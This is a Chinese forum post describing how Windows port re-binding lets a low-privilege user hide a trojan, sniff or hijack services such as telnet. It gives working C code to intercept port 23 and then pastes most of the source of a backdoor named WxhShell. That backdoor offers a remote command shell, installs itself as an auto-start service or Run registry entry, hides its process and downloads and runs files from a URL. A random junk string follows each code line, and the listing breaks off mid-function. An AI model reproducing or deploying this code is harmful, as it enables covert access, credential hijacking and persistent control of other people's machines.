社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 20026阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?j^[7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a D*  
nR7 usL  
  saddr.sin_family = AF_INET; a1;P2ikuK  
/P~@__XN  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); sN^3bfi!i  
yJx{6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); KgtMrT5<q  
 5:mS~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 " h,<PF  
)P:r;a'  
  这意味着什么?意味着可以进行如下的攻击: VJ` c/EVIt  
x.rOP_rs  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (R _#lRaQ  
[C PgfVz  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $]4>;gTL'  
}QszOi\fV1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Yx21~:9}  
o2 =UUD&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  'iM;e K  
~Qzb<^9]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 W+[XNIg5   
Ca[H<nyj  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 O2|[g8(_F  
tZS-e6*S  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Ju""i4  
:` >|N|i  
  #include V[<]BOM\v  
  #include j?&Rf,,%  
  #include mE3^5}[>  
  #include    B+G,v:)R6z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5"4O_JQ  
  int main() 5T?esF<  
  { bT|N Z!V  
  WORD wVersionRequested; j tdhdA  
  DWORD ret; j9zK=eG  
  WSADATA wsaData; , Vz 1l_7  
  BOOL val; MHN?ZHC)  
  SOCKADDR_IN saddr; usb.cE3 z  
  SOCKADDR_IN scaddr; 'J R2@W`]]  
  int err; /5^"n4/M  
  SOCKET s; S/}6AX#F4  
  SOCKET sc; +{V"a<D$m  
  int caddsize; >hcA:\UPk  
  HANDLE mt; %vjLw`  
  DWORD tid;   SG1o< #>  
  wVersionRequested = MAKEWORD( 2, 2 ); $dAQ'\f7  
  err = WSAStartup( wVersionRequested, &wsaData ); >[ r TUn;  
  if ( err != 0 ) { Qp{gV Ys  
  printf("error!WSAStartup failed!\n"); __p\`3(,'  
  return -1; E DuLgg@  
  } Qe=,EXf  
  saddr.sin_family = AF_INET; Si,[7um  
   N zY}-:{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 G[4TT#  
S Rs~p  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); OhmKjY/}  
  saddr.sin_port = htons(23); % AqUVt9}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "mbcZ5 _  
  { x{Y}1+Y4  
  printf("error!socket failed!\n"); 7XKPC+)1ya  
  return -1; Vv=/{31  
  } AV0m31b  
  val = TRUE; %T]NM3|U  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 IwC4fcZX6  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0be1aY;m&  
  { ]3@6o*R;  
  printf("error!setsockopt failed!\n"); pkjf5DWp  
  return -1; bWzv7#dd=  
  } z=TaB^-)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; # Ny  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 WVc3C-h,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Nx~9Ug  
|zD{]y?S-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Pl_4;q!$  
  { (lwrk(  
  ret=GetLastError(); <rUH\z5cP  
  printf("error!bind failed!\n"); QUL^]6$  
  return -1; 0HUSN_3F  
  } %c%0pGn8-  
  listen(s,2); 8$O=HE*  
  while(1) BZy&;P  
  { a hi lp$v  
  caddsize = sizeof(scaddr); 3w9j~s  
  //接受连接请求 uU v yZ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &fJ92v?%^S  
  if(sc!=INVALID_SOCKET) ~F8M_  
  { `IQ01FuP  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c$),/0td|  
  if(mt==NULL) {6%vmMbJ  
  { ]>fAV(ix  
  printf("Thread Creat Failed!\n"); YUo{e=m|  
  break; 7a_pO1MBL  
  } Bq~!_6fB  
  } {UpHHH:X#  
  CloseHandle(mt); -<kl d+  
  }  ,lX5-1H  
  closesocket(s); VuqN)CE^Uq  
  WSACleanup(); zx"'WM*  
  return 0; O$jj&  
  }   _jK    
  DWORD WINAPI ClientThread(LPVOID lpParam) zoXCMBg[  
  { 5b X*8H D  
  SOCKET ss = (SOCKET)lpParam; !@mV$nTA  
  SOCKET sc; %M{qr!?uj  
  unsigned char buf[4096]; z-|gw.y  
  SOCKADDR_IN saddr; jR-`ee}y2  
  long num; s BP.P7u  
  DWORD val; m(QGP\Ya  
  DWORD ret; :0,q>w  
  //如果是隐藏端口应用的话,可以在此处加一些判断 lqFDX d  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;cQhs7m(9  
  saddr.sin_family = AF_INET; NpV# zzE  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }X{#=*$GQ  
  saddr.sin_port = htons(23); ,bT|:T@ny  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M,]C(f>  
  { 3R(GO.n=]  
  printf("error!socket failed!\n"); B6)d2O9C  
  return -1; D Q7+  
  } =}N&c4I[j  
  val = 100; G t 4| ]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {~.~ b+v  
  { N9LBji;nH  
  ret = GetLastError(); j-wSsjLk  
  return -1; ^'EeJN  
  } ,"?h _NbF  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Wbo{v r[2+  
  { ySP1,xq  
  ret = GetLastError(); L/Cp\|~ O  
  return -1; g_lj/u]P  
  } Oo'IeXQ9(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `N$:QWJ  
  { UM$\{$  
  printf("error!socket connect failed!\n"); :V1ttRW}52  
  closesocket(sc); eliT<sw8  
  closesocket(ss); A/n-.ci  
  return -1; N ]/ N}b  
  } q$)$?"  
  while(1) v"M5';ZS>  
  { >]N}3J}47g  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  zjVBMqdD  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *Ag</g@ h  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 AR9D;YfR~  
  num = recv(ss,buf,4096,0); j)4:*R.Z]  
  if(num>0) j8p</gd  
  send(sc,buf,num,0); nn>1OO  
  else if(num==0) ""cnZZ5)  
  break; +a$'<GvP  
  num = recv(sc,buf,4096,0); #/fh_S'Z  
  if(num>0) ~`'!nzP5H  
  send(ss,buf,num,0); `.3!  
  else if(num==0) kO:|?}Koc  
  break; aRSGI ja<L  
  } Yud]s~N  
  closesocket(ss); dQUZ11  
  closesocket(sc); X0<qG  
  return 0 ; P:GAJ->;]>  
  } {)j~5m.,/o  
Oax*3TD  
2xBIfmR^y  
========================================================== 2=Sv#  
V~j:!=b%v  
下边附上一个代码,,WXhSHELL ,&>LBdG`  
%LBa;M  
========================================================== S/ YT V  
D$C>ZF  
#include "stdafx.h" D^cv 8 8<  
)!+M\fT  
#include <stdio.h> 8U,VpuQ:  
#include <string.h> v+a$Xh3Y~  
#include <windows.h> u{#}Lo>B #  
#include <winsock2.h> e>yPFXSk  
#include <winsvc.h> yo\R[i(  
#include <urlmon.h> 7!%/vO0m  
3m RP.<=  
#pragma comment (lib, "Ws2_32.lib") Dep.Qfv{-  
#pragma comment (lib, "urlmon.lib") tHF -OarUO  
~>C@n'\lv  
#define MAX_USER   100 // 最大客户端连接数 32y GIRV  
#define BUF_SOCK   200 // sock buffer ;Du+C%  
#define KEY_BUFF   255 // 输入 buffer ? yL3XB>  
T(LqR?xOo  
#define REBOOT     0   // 重启 !|!k9~v!  
#define SHUTDOWN   1   // 关机 ^PwZP;On  
#_]/Mr1  
#define DEF_PORT   5000 // 监听端口 '@4M yg* b  
Hh^EMQk  
#define REG_LEN     16   // 注册表键长度 R*Jnl\?>@  
#define SVC_LEN     80   // NT服务名长度 )xJCH9h  
SU,S1C_q8  
// 从dll定义API gc~nT/lfK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  "R8:s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ul"9zTH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 50,`=Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L=`QF'Im  
*nb `DR  
// wxhshell配置信息 <2b&AF{En  
struct WSCFG { r6 k/QZT  
  int ws_port;         // 监听端口 m]C|8b7Y  
  char ws_passstr[REG_LEN]; // 口令 OIi8x? .~]  
  int ws_autoins;       // 安装标记, 1=yes 0=no bv %Bo4s  
  char ws_regname[REG_LEN]; // 注册表键名 yVF1*#"  
  char ws_svcname[REG_LEN]; // 服务名 ~Mk{2;x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B4tC3r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _~q!<-Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JQ5E;8J>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &BF97%E2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yT[CC>]l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 JmMB=} <  
Xe;Eu  
}; ;<=Z\NX  
@bPR"j5D  
// default Wxhshell configuration /j7e q  
struct WSCFG wscfg={DEF_PORT, &j}08aK%  
    "xuhuanlingzhe", 9;W 2zcN  
    1, #vwK6'z  
    "Wxhshell", -cDS+ *[  
    "Wxhshell", z{wW6sgPr  
            "WxhShell Service", x/BtB"e*5  
    "Wrsky Windows CmdShell Service", x9ll0Ht  
    "Please Input Your Password: ", }sy^ed  
  1, GvAP  
  "http://www.wrsky.com/wxhshell.exe", U}#3 LFr.?  
  "Wxhshell.exe" %"<|u)E  
    }; o%EzK;Df  
Q{+*F8%8V<  
// 消息定义模块 rV{:'"=y-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l=|>9,La  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }%8 :8_Ke  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @= E~`  
char *msg_ws_ext="\n\rExit."; E[$"~|7|$  
char *msg_ws_end="\n\rQuit."; @`Fv}RY{  
char *msg_ws_boot="\n\rReboot..."; '=s{9lxn^  
char *msg_ws_poff="\n\rShutdown..."; ^)J2tpr;]=  
char *msg_ws_down="\n\rSave to "; d_v]mfUF  
ko-3`hX`  
char *msg_ws_err="\n\rErr!"; [j3-a4W u  
char *msg_ws_ok="\n\rOK!"; $,Eb(j  
e0s*  
char ExeFile[MAX_PATH]; ! qVuhad.  
int nUser = 0; J&P{7a  
HANDLE handles[MAX_USER]; BE0Ov{'  
int OsIsNt; t`M4@1S"'  
Cs:?9G  
SERVICE_STATUS       serviceStatus; [zC1LTXe  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CdEQiu  
EF>vu+YK  
// 函数声明 ]|JQH  
int Install(void); IOfxx>=3  
int Uninstall(void); _h6j, )  
int DownloadFile(char *sURL, SOCKET wsh); ddTsR  
int Boot(int flag); lF*}l  
void HideProc(void); D =+md  
int GetOsVer(void); nrBpq  
int Wxhshell(SOCKET wsl); } Z/[ "  
void TalkWithClient(void *cs); uOQ!av2"Rf  
int CmdShell(SOCKET sock); G_m$?0\  
int StartFromService(void); ]!c59%f=  
int StartWxhshell(LPSTR lpCmdLine); h 8%(,$*  
&9+]{jXF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z Zs@P#]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); us5<18 M5  
Fe[)-_%G  
// 数据结构和表定义 h6CAd-\x\  
SERVICE_TABLE_ENTRY DispatchTable[] = %`EyG  
{ ^4 MJ  
{wscfg.ws_svcname, NTServiceMain}, -(dtAo6  
{NULL, NULL} Wtwo1pp  
}; Gye84C2E=  
Cy frnU8g  
// 自我安装 58SqB  
int Install(void) t)kc`3i<A  
{ n1!}d%:  
  char svExeFile[MAX_PATH]; VGY x(  
  HKEY key; k~0#Iy_{M  
  strcpy(svExeFile,ExeFile); r*q  
eS`ZC!W   
// 如果是win9x系统,修改注册表设为自启动 R7o'V* d  
if(!OsIsNt) { /3`yaYkSh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +Rj8 "p$K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QkFB \v  
  RegCloseKey(key); aZ,j1j0p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -l Y,lC>{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m >Rdsn~l  
  RegCloseKey(key); A_!N,< -  
  return 0; H9\,;kM)  
    } "u.'JE;j  
  } D_N0j{E  
} I[6ft_*  
else { w4Uo-zr@  
h]Y,gya[yk  
// 如果是NT以上系统,安装为系统服务 |C"zK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |EGC1x]j=  
if (schSCManager!=0) rNK<p3=7)  
{ }PXtwp13&u  
  SC_HANDLE schService = CreateService bA-/"'Vp9  
  ( KqL+R$??"(  
  schSCManager, S.zY0  
  wscfg.ws_svcname, @tX8M[.eA  
  wscfg.ws_svcdisp, DL*&e|:q  
  SERVICE_ALL_ACCESS, 3v91yMx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .rw a=IW  
  SERVICE_AUTO_START, o5E5s9n  
  SERVICE_ERROR_NORMAL, GI<3L K\  
  svExeFile, aD&4C -,1  
  NULL, /;5/7Bvj  
  NULL, oO3X>y{gN  
  NULL, .iV-Y*3<  
  NULL, ]@I>OcH  
  NULL j5gL 67B  
  ); `Hx JE"/  
  if (schService!=0) _ea|E  8  
  { wX4gyr  
  CloseServiceHandle(schService); +h)1NX;o1  
  CloseServiceHandle(schSCManager); U]]ON6Y&F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ae#Qeow`  
  strcat(svExeFile,wscfg.ws_svcname); 6J]8BHJn+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?$Dc>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jK]An;l{Z  
  RegCloseKey(key); p[K!.vOt+  
  return 0; tZ.hSDH  
    } =E$B0^_2RC  
  } 3s0 I<cL  
  CloseServiceHandle(schSCManager); |})v, o B  
} V"|`Z}XW  
} @iU(4eX  
OJ1MV7&  
return 1; 9'=ZxV  
} K]'t>:G @  
[#SiwhF|  
// 自我卸载 c :2w(BVi  
int Uninstall(void) ":_~(?1+  
{ !{?<(6;t  
  HKEY key; \>tx:;D3  
 K,o&gY  
if(!OsIsNt) { KTE X]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V6bjVd9|Z  
  RegDeleteValue(key,wscfg.ws_regname); )*L=$0R  
  RegCloseKey(key); O'{g{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J)EL<K$Z[  
  RegDeleteValue(key,wscfg.ws_regname); YmwXA e:  
  RegCloseKey(key); :CsrcT=  
  return 0; 6IJH%qUx'  
  } pupt__NZ)n  
} pE {yVs  
} k#n%at.g  
else { p Le[<N  
[ <j4w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wzF%R {;  
if (schSCManager!=0) P& h]uNu  
{ Q0%s|8Jc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HPX JRQBE  
  if (schService!=0) uE}$ZBi q  
  { X>i{288M3  
  if(DeleteService(schService)!=0) { wg4Ol*y'  
  CloseServiceHandle(schService); 1pz-jo,2'  
  CloseServiceHandle(schSCManager); + } y"S-  
  return 0; RB9ZaL\  
  } $>zqCi2tB<  
  CloseServiceHandle(schService); AqT}^fS  
  }  Khh}flRy  
  CloseServiceHandle(schSCManager); KJv[z   
} [ut[W9  
} txiX1o!/L  
 Cwl:  
return 1; \[d~O>k2  
} `PT'Lakf;3  
>uxAti\  
// 从指定url下载文件 3i#'osq  
int DownloadFile(char *sURL, SOCKET wsh) 2;x+#D8  
{ .;)V;!  
  HRESULT hr; BdP+>Ij  
char seps[]= "/"; ')TS'p,n  
char *token; (K('@W%\?  
char *file; /z )Nz2W  
char myURL[MAX_PATH]; Ab8Ke|fA  
char myFILE[MAX_PATH]; CY\D.Eow  
Mzw:c#  
strcpy(myURL,sURL); m8 6ztP)  
  token=strtok(myURL,seps); F#~*j  
  while(token!=NULL) ?1**@E0  
  { K,,'{j2#f  
    file=token; |_hIl(6F5N  
  token=strtok(NULL,seps); tF6-@T\6  
  } o%OwKp s  
xkQT#K=i  
GetCurrentDirectory(MAX_PATH,myFILE); ~sdM~9@ '  
strcat(myFILE, "\\"); iZ4"@G:,  
strcat(myFILE, file); Q)=2%X  
  send(wsh,myFILE,strlen(myFILE),0); x2f=o|]D'  
send(wsh,"...",3,0); \zeuvD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BZ(DP_}&D  
  if(hr==S_OK) "y60YYn-#J  
return 0; 6(>,qt,9S  
else Fd<eh(g9P  
return 1; a+j"8tHu$  
F_0@S h"  
} fRHzY?n9;  
QQt4pDir>  
// 系统电源模块 e>P>DmlW  
int Boot(int flag) T!i$nI&  
{ 03.\!rZZ  
  HANDLE hToken; $}fY B/  
  TOKEN_PRIVILEGES tkp; mNsd&Rk'  
aMGyV"6(-6  
  if(OsIsNt) { F\jawoO9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,20l` :  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L4ZB0PmN'  
    tkp.PrivilegeCount = 1; G_M8? G0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &UNQ4-s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); EMDYeXpV  
if(flag==REBOOT) { K)^8 :nt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bq9/ d4  
  return 0; OuK RaZ  
} xz~Y %Y|Z  
else { av_ +M;G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z@bSkO<Y  
  return 0; {gxP_>  
} #N;&^El  
  } /t*Q"0X5  
  else { ZZ T 9t#~  
if(flag==REBOOT) { ]0g p.R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h"[:$~/UJ  
  return 0; ^9><qKbO  
} |7Qe{  
else { \Yn0|j>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5~d=,;yE  
  return 0; p K ^$^*#  
} Xc4zUEO9  
} <+<Nsza  
/(?s\}O  
return 1; t*)!BZ  
} y.-Kqa~  
c|K:oi,z  
// win9x进程隐藏模块 2%*\XPt)  
void HideProc(void) 5#y_EpL"  
{ Zy.3yQM9i  
B*9?mcP\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u\"/EaQ{  
  if ( hKernel != NULL ) `2]TPaWGh  
  { 9aX!<Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @>8 {J6%\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ou{V/?rb  
    FreeLibrary(hKernel); :, 3S5!(y  
  } :^-\KE` 3  
<\ eRa{ef  
return; { `xC~B h  
} 0{I-x^FI  
)[u'LgVN/L  
// 获取操作系统版本 ~Orz<%k.  
int GetOsVer(void) X4+H8],)  
{ R&$fWV;'  
  OSVERSIONINFO winfo; Xoha.6$l5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `5"3Cj"M  
  GetVersionEx(&winfo); drvrj~o:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m4yWhUi(o  
  return 1; x 0K#-  
  else HKIr?  
  return 0; Q#*R({)GH  
} Z>l<.T"t'  
RS#C4NG  
// 客户端句柄模块 3sW!ya-VZ  
int Wxhshell(SOCKET wsl) bnPhhsR  
{ "{trK?-8%  
  SOCKET wsh; Vol}wc  
  struct sockaddr_in client; ,`YIcrya:  
  DWORD myID; _xy[\X;9  
"rfBYl`  
  while(nUser<MAX_USER) <;uM/vS i  
{ ; .b^&h  
  int nSize=sizeof(client); &aa3BgxyE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -%Rbd0gVH\  
  if(wsh==INVALID_SOCKET) return 1; awjAv8tPO!  
}Oqt=Wm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kB%.i%9\\  
if(handles[nUser]==0) `m #i|8  
  closesocket(wsh); gf>GK/^HH  
else ]h=5d09z  
  nUser++; fJ6Q:7  
  } $*LBZcL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); URt+MTU[  
V F b  
  return 0; )eqF21\  
} U3{4GmrT  
_/u(:  
// 关闭 socket P,(_y8  
void CloseIt(SOCKET wsh) WJ LqH<  
{ Se37-  
closesocket(wsh); W}%"xy]N  
nUser--; &pR 8sySu  
ExitThread(0); TA qX f_  
} l?YO!$  
>YsM'.EFD  
// 客户端请求句柄 3g5r}Ug  
void TalkWithClient(void *cs) 0Wc_m;  
{ 2m} bddS  
I?Z"YR+MQ  
  SOCKET wsh=(SOCKET)cs; ,el[A`b  
  char pwd[SVC_LEN]; W$`#X  
  char cmd[KEY_BUFF]; h%NM%;"H/  
char chr[1]; "@|rU4Y  
int i,j; t;-F]  
G \Nnw==v  
  while (nUser < MAX_USER) { 2$`Y 4b3t  
zL3zvOhu}  
if(wscfg.ws_passstr) { SoHaGQox  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k*!iUz{]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +@H{H2J4  
  //ZeroMemory(pwd,KEY_BUFF); M{jq6c  
      i=0; `%EcQ}Nr  
  while(i<SVC_LEN) { #K/JU{"  
y~wr4Q=  
  // 设置超时 JG7K-W|!c  
  fd_set FdRead; |[>yJXxEL@  
  struct timeval TimeOut; da_0{;wR  
  FD_ZERO(&FdRead); @; I9e  
  FD_SET(wsh,&FdRead); #!%zf{(C+  
  TimeOut.tv_sec=8; Oamz>Hplu  
  TimeOut.tv_usec=0; <G`1(,g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }' s W[?ik  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6j+X@|2^  
;*ULrX4[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {"2CI^!/U.  
  pwd=chr[0]; %Pj}  
  if(chr[0]==0xd || chr[0]==0xa) { ~*UY[!+4^=  
  pwd=0; 7,8TMd1`M  
  break; 8?x:PkK  
  } pYu6[  
  i++; /L5:/Z  
    } q_mxZM ->  
jzZ]+'t  
  // 如果是非法用户,关闭 socket 8OO[Le]1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U0srwt97S  
} &\Lu}t7Ru  
ZLPj1L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c@)?V>oe  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u8`S*i/)m  
,'9R/7%s  
while(1) { {^^LeUd#V  
!(viXV5  
  ZeroMemory(cmd,KEY_BUFF); K5\l (BB  
UO!} 0'  
      // 自动支持客户端 telnet标准   e$JCak=  
  j=0; zr_L V_e  
  while(j<KEY_BUFF) { bR~5 :A^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o;#8=q  
  cmd[j]=chr[0]; 3K/ 'K[~  
  if(chr[0]==0xa || chr[0]==0xd) { ,"{e$|iY  
  cmd[j]=0; bd% M.,  
  break; $bfmsCcHL  
  } L/I ] NA!U  
  j++; 5J1a8RBR  
    } +Ar4X-A{y  
K[ S>EITr  
  // 下载文件 +DR{aX/ll  
  if(strstr(cmd,"http://")) { o)x&|0_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <RY!Mc  
  if(DownloadFile(cmd,wsh)) v&3" (fp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (I'{ pF)  
  else 0>]&9'cn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -mmQ]'.0  
  } ,8d&uR}x  
  else { 64`l?F  
|"9vq<`  
    switch(cmd[0]) { i~R+ g3oi  
  p~""1m01,D  
  // 帮助 Sm?|,C3V  
  case '?': { YI> xxWA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LU`)  
    break; w"#rwV&  
  } %}Y&qT?  
  // 安装 51H6 W/$  
  case 'i': { aNQ(xiskb  
    if(Install()) {?EmO+![}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |$ZS26aYw}  
    else ZM <UiN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 81(\8#./  
    break; +>Gw)|oX  
    } aGsO~ODc  
  // 卸载 s{V&vRr  
  case 'r': { 8Q{9AoQ3'  
    if(Uninstall()) w'VuC82SZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U5@B7v1  
    else \u(Gj]B#"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v0tFU!Q%  
    break; dLwP7#r  
    } 8*&73cp  
  // 显示 wxhshell 所在路径 )  LTV+?  
  case 'p': { ko'V8r `V  
    char svExeFile[MAX_PATH]; ^P/OHuDL  
    strcpy(svExeFile,"\n\r");  w}t}Sh  
      strcat(svExeFile,ExeFile); m qUDve(  
        send(wsh,svExeFile,strlen(svExeFile),0); !dcvG9JZ  
    break; |ITb1O`_P  
    } @~N"MsF3  
  // 重启 gTB|IcOs  
  case 'b': { b`^?nD7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8x7TK2r  
